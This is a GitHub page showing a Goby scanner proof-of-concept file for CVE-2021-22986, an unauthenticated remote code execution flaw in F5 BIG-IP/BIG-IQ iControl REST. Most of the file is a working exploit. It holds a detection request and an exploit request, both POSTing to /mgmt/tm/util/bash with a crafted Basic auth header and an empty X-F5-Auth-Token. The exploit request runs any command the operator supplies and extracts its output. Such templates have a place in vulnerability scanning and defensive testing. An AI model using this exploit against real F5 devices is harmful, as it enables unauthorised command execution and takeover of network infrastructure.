-
Notifications
You must be signed in to change notification settings - Fork 8
/
F5_BIG_IP_RCE_CVE_2021_22986_exp.json
85 lines (84 loc) · 3.31 KB
/
F5_BIG_IP_RCE_CVE_2021_22986_exp.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
{
"Name": "F5 BIG-IP代码执行漏洞(CVE-2021-22986)exp",
"Level": "3",
"Tags": [
"RCE"
],
"GobyQuery": "product=\"F5-BIGIP\"",
"Description": "F5 BIG-IP/BIG-IQ iControl REST 未授权远程代码执行漏洞中,未经身份验证的攻击者可通过iControl REST接口,构造恶意请求,执行任意系统命令。",
"Product": "F5 Big-IP",
"Homepage": "",
"Author": "[email protected]",
"Impact": "<p><span style=\"font-size: 15px;\">F5 BIG-IP/BIG-IQ iControl REST 未授权远程代码执行漏洞中,未经身份验证的攻击者可通过iControl REST接口,构造恶意请求,执行任意系统命令。</span><br></p>",
"Recommandation": "<p>undefined</p>",
"References": [
"https://www.freebuf.com/vuls/268254.html"
],
"HasExp": true,
"ExpParams":[
{
"name":"cmd",
"type":"input",
"value":"whoami",
"show":""
}
],
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/mgmt/tm/util/bash",
"follow_redirect": true,
"header": {
"Authorization": "Basic YWRtaW46QVNhc1M=",
"X-F5-Auth-Token": ""
},
"data_type": "text",
"data": "{\"command\":\"run\",\"utilCmdArgs\":\"-c 'echo tsxts|base64'\"}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "dHN4dHMK",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/mgmt/tm/util/bash",
"follow_redirect": false,
"header": {
"Authorization": "Basic YWRtaW46QVNhc1M=",
"X-F5-Auth-Token": ""
},
"data_type": "text",
"data": "{\"command\":\"run\",\"utilCmdArgs\":\"-c {{{cmd}}}\"}"
},
"SetVariable": [
"output|lastbody|regex|commandResult\".\"(.*)\"}"
]
}
],
"PostTime": "2021-04-01 16:51:54",
"GobyVersion": "1.8.255"
}